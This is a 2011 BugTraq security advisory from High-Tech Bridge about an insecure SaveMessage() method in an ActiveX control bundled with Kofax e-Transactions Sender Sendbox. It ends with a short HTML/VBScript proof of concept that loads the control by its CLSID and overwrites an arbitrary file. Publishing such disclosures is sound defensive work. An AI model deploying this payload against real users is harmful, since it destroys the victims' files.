BugTraq
HTB23016: Kofax e-Transactions Sender Sendbox ActiveX Control Insecure Method Jun 22 2011 01:34PM
advisory htbridge ch
Vulnerability ID: HTB23016
Reference: http://www.htbridge.ch/advisory/kofax_e_transactions_sender_sendbox_acti
vex_control_savemessage_insecure_method.html
Product: Kofax e-Transactions Sender Sendbox
Vendor: Kofax, Inc ( http://www.kofax.com/ )
Vulnerable Version: 2.5.0.933 and probably prior
Tested on: 2.5.0.933
Vendor Notification: 01 June 2011
Vulnerability Type: ActiveX Control Insecure Method
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in Kofax e-Transactions Sender Sendbox, which can be exploited to overwrite arbitrary files.

The vulnerability is caused due to the LEADeMail.LEADSmtp.20 (LTCML14n.dll (14.0.0.34)) ActiveX control including the insecure "SaveMessage()" method. This can be exploited to overwrite with junk data arbitrary files in the context of the currently logged-on user.

The following PoC code is available:

<html>
<object classid='clsid:0014085F-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_overwrite"
arg2=True
target.SaveMessage arg1 ,arg2
End Sub

</script>
</html>

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